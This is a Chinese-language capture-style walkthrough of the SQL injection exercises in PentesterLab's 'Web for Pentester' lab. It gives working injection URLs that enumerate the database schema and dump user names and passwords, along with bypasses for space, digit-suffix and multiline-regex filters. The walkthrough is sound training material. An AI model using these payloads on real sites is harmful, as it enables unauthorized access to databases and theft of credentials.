环境 :
debian 6,web for pentest ,下载地址https://pentesterlab.com/exercises/web_for_pentester
目录
example1
(1)测试注入点 http://192.168.11.136/sqli/example1.php?name=root'
显示不报错,无输出
(2)加#号对后面的sql语句注释 http://192.168.11.136/sqli/example1.php?name=root'%23
显示root记录,可判断存在字符型注入
(3)判断可查询列数 http://192.168.11.136/sqli/example1.php?name=root' order by 3 %23
5列
(4)利用union select 1,2,3,4,5查询相关信息
查询数据库版本,数据库名
http://192.168.11.136/sqli/example1.php?name=root' union select @@version,database(),3,4,5 %23
利用information_schema的信息查找表名
http://192.168.11.136/sqli/example1.php?name=root' union select 1,TABLE_NAME,3,4,5 from information_schema.TABLES where TABLE_SCHEMA=0x657865726369736573%23
其中0x657865726369736573为exercises的十六进制表示
查询表中的列
http://192.168.11.136/sqli/example1.php?name=root' union select 1,column_NAME,3,4,5 from information_schema.columns where TABLE_name=0x7573657273%23
查询数据
http://192.168.11.136/sqli/example1.php?name=root' union select name,age,passwd,4,5 from users %23
数据获取成功
example2
报错 ERROR NO SPACE,过滤了空格,可使用/**/代替
步骤同example1
example3
同2
example4
数字型注入,步骤与1大致相同
example5
同4
example6
url结尾必须为数字
通过注释解决 url#123
example7
检测更严格,匹配的只能是数字,但是由于加了/m参数,字符串的每一行的开头就是“^”结束就是“$”,只要有一行符合即可
可使用回车符\n(%0A)解决
http://192.168.11.136/sqli/example7.php?id=2%0A/**/union/**/select/**/name,passwd,3,4,5 from users